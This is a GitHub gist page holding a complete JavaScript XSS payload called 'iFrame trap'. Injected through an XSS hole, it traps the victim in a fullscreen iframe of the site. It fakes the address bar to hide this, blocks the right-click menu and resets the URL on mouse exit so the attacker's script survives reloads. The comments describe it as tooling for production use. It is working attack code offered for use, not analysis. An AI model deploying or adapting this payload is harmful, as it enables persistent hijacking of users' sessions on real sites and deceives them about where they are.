Skip to content

Instantly share code, notes, and snippets.

@hoodoer
Last active August 24, 2023 14:14
Show Gist options
  • Star 8 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save hoodoer/6b005b501dc0ff90f8b00b90611bc2bb to your computer and use it in GitHub Desktop.
Save hoodoer/6b005b501dc0ff90f8b00b90611bc2bb to your computer and use it in GitHub Desktop.
XSS iFrame Trap
alert('Click ok when you\'re ready to enter iframe trap');
// Example XSS iframe trap. Load from whatever
// page has the reflected/stored XSS vuln
// trap the user in an iframe of the app.
// While they surf around, they stick in your
// iFrame, and you keep their session and your XSS
// payload running.
// @hoodoer
// Configuration options
// So we'll fake the URL to convince the
// user they're using the application normally.
// If the user reloads the page, it will load
// the page in the URL, which is NOT where our
// XSS is. Setting this to true tracks the mouse
// and when it leaves the page, it'll flip the URL
// back to our XSS landing page. If they reload the page then
// our XSS trap will reload, pull the last used iframe "fake" page
// from session storage, and load that in the iframe on startup.
// This way it looks like the page reloaded.
let mouseTrackingUrlSwitching = true; // less stealthy, but can protect against reloads
// User's reloading the page will escape the iframe trap
// Disable context menu to make it slightly less convenient for
// users to reload
let disableContextMenu = true; // less stealthy, but can protect against reloads
// Ue fullscreen for actual prod usage
// not fullscreen shows the XSS laden landing
// page in the background so you can
// tell if you're still where you need to be during
// development.
let fullscreenIframe = false; // Set to true for production use, false for dev
// What page in the application to start users in
// Note that if the trap is loading from
// a reload, it hopefully will automatically
// load the page the user was on in the iframe
// when they reloaded the page. Otherwise,
// they'll start here
let startingPage = "http://192.168.78.157/index.php";
// Helpful variables
let trapLandingPage = "";
let savedFakePage = "";
// Snag the path of the iframe, and fake it in the browser
// address bar. It'll look like they're surfing the site
// Note: if the user refreshes the page, the gig is up
// and your XSS will stop executing. But as long as they
// keep clicking around, you keep control and you XSS
// keeps running
function updateUrl()
{
var fakeUrl = document.getElementById("iframe_a").contentDocument.location.pathname;
console.log("Fake url is: " + fakeUrl);
window.history.replaceState(null, '', fakeUrl);
// Context menu has a reload button, let's just
// block the user from that to be a jerk.
if (disableContextMenu)
{
// This disables the right click context menu in the iframe
// Has to be continually reset as the iframe changes.
var myIframe = document.getElementById('iframe_a');
var iframeDoc = myIframe.contentWindow.document;
iframeDoc.addEventListener("contextmenu", e => e.preventDefault());
}
}
// Wut woh, mouse left window
// Are they going to refresh and clobber
// our trap?
function mouseLeft()
{
// DANGER WILL ROBINSON!!!!
// Is the user about to reload the page?
// Take action!
// We'll put the URL bar back to the actual location
// with our XSS landing page. So if they reload
// they'll reload the trap, not the page
// they think they're on.
// FINGERS CROSSED that they don't notice....
console.log("LOST MOUSE");
savedFakePage = document.getElementById("iframe_a").contentDocument.location.pathname;
// Ok, switch URL to our real XSS landing page, not where the user "thinks" they are
window.history.replaceState(null, '', trapLandingPage);
// Ok, if our page gets reloaded, we'll lose
// our JavaScript. Let's save what page
// the user thought they were on in
// session storage, and we'll try to
// bootstrap to that location if the
// trap reloads.
console.log("About to save startup page...");
sessionStorage.setItem("iframeStartup", savedFakePage);
console.log("Storage saved page is: " + sessionStorage.getItem('iframeStartup'));
}
// User's mouse is back in the page
function mouseReturned()
{
// Ok, false alarm. Gained focus back, let's put
// our fake URL back up there.
console.log("GAINED MOUSE");
window.history.replaceState(null, '', savedFakePage);
// Let's cleanup any session storage we
// used
sessionStorage.removeItem("iframeStartup");
}
// Keep the user on the page with the XSS, but put
// the real website in a fullscreen iframe
// We'll fake the website path using the updateUrl function
function takeOver()
{
// Save our current XSS landing page location
// Could come in handy later
trapLandingPage = window.location.pathname;
console.log("++ Saving landing page: " + trapLandingPage);
let iframeStartingPage = "";
console.log("Storage saved page is: " + sessionStorage.getItem('iframeStartup'));
savedIframePage = sessionStorage.getItem('iframeStartup');
console.log("++ On startup, iframe saved page is: " + savedIframePage);
if (savedIframePage != null)
{
console.log("Looks like we have a saved page, let's use it...");
iframeStartingPage = savedIframePage;
sessionStorage.removeItem("iframeStartup");
}
else
{
console.log("Using default iframe starting page...");
iframeStartingPage = startingPage;
}
document.body.style.backgroundColor = "pink";
// Setup our iframe trap
var iframe = document.createElement("iframe");
iframe.setAttribute("src", iframeStartingPage);
if (fullscreenIframe)
{
console.log("&& Using fullscreen");
iframe.style.width = "100%";
iframe.style.height = "100%";
iframe.style.top = "0px";
iframe.style.left = "0px"
}
else
{
console.log("&& Using partial screen");
iframe.style.width = "80%";
iframe.style.height = "80%";
iframe.style.top = "50px";
iframe.style.left = "50px";
}
iframe.style.position = "fixed";
iframe.id = "iframe_a";
document.body.appendChild(iframe);
// Hook needed events below...
// Just register all the darned events, each event in the iframe
// we'll call updateUrl()
var myIframe = document.getElementById('iframe_a');
// Hook all the things for URL faking
for(var key in myIframe){
if(key.search('on') === 0) {
myIframe.addEventListener(key.slice(2), updateUrl);
}
}
// Only hook mouse events if we're
// going to try to prevent reloads from
// escaping the iframe trap
if (mouseTrackingUrlSwitching)
{
// We need to prepare for a possible page refresh
// if the user's mouse leaves the window
// Perhaps they're going to mash the refresh button
document.body.addEventListener("mouseleave", function()
{
mouseLeft();
});
// If the mouse comes back, we need to undo some
// of our preparations for a refresh (fake the URL again)
document.body.addEventListener("mouseenter", function()
{
mouseReturned();
});
}
// Note that the right click context menu
// disabling is handled in updateUrl();
}
// Trap all the things
takeOver();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment